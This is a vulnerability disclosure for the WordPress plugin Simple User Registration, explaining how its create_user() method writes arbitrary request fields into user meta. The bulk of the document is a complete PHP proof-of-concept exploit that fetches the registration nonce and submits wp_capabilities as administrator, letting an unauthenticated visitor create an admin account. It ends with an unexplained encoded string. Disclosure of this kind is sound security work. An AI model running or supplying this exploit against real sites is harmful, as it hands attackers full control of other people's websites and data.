Simple User Registration [Privilege Escalation]

Description

This vulnerability is related to WooCommerce Product Addons [Unauthenticated Arbitrary File Upload] (DWF-2016-87133). They both use the same so called NM_Framwork framework, they are from the same author and both have an insecure implementation of the file upload functionality.

In this vulnerability we use the AJAX action nm_wpregistration_create_user to create a user with administrative rights.

The problem lies in method \NM_WPRegistration::create_user() where this plugin blindly trusts user input to update user meta values:

function create_user() {
    // ...
    extract( $_REQUEST );
    $submitted_data = $_REQUEST;
    
    //...

    $userid = wp_insert_user( $userdata );

    if ( $userid && !is_wp_error( $userid ) ) {
        foreach ( $submitted_data as $key => $val ) {
            update_user_meta ( $userid, $key, $val );
        }
    // ...

PoC

#!/usr/bin/env php
<?php
/*******************************************************************************
 * Simple User Registration [Privilege Escalation - Register as Admin]
 *
 * Author: Pan Vag <pan@local-cluster.com>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Request;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
    Cli::writeError( 'You must enter a valid URL' );
    exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}

$registrationPageUrl = Config::get('registration_page', null, true, 'Enter the registration page URL, we need to get the nonce');
if(!$registrationPageUrl){
    ExitCodes::exitWithFailedPrecondition('You must enter the registration page');
}
Cli::writeInfo('Getting nonce...');

$nonce = \Wordfence\ExKit\WPNonce::findOnPage(
    new \Wordfence\ExKit\Session(),
    $registrationPageUrl,
    '/<input.*?name\s*=\s*[\'"]nm_wpregistration_nonce[\'"]\s*value\s*=\s*[\'"]([^\'"]+)[\'"]/'
);

if(!$nonce){
    ExitCodes::exitWithFailed('Failed to get nonce');
}

$postData = [
    'action' => 'nm_wpregistration_create_user',
    'nm_wpregistration_nonce' => $nonce,
    'wp_registration_login' => Config::get('wp_registration_login', null, true, 'Enter the username'),
    'wp_registration_email' => Config::get('wp_registration_email', null, true, 'Enter the email'),
    'wp_registration_first_name' => uniqid(),
    'wp_registration_last_name' => uniqid(),
    'wp_capabilities' => ['administrator' => 1],
];

Cli::writeInfo( 'Registering user...' );

$r = Request::post(Endpoint::adminAjaxURL(), [], $postData);

$rJson = @json_decode($r->body);

if(!isset($rJson->status) || $rJson->status != 'success'){
    ExitCodes::exitWithFailed('Failed to register user');
}

ExitCodes::exitWithSuccess('User registered, the password will be sent at the email address you provided');

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX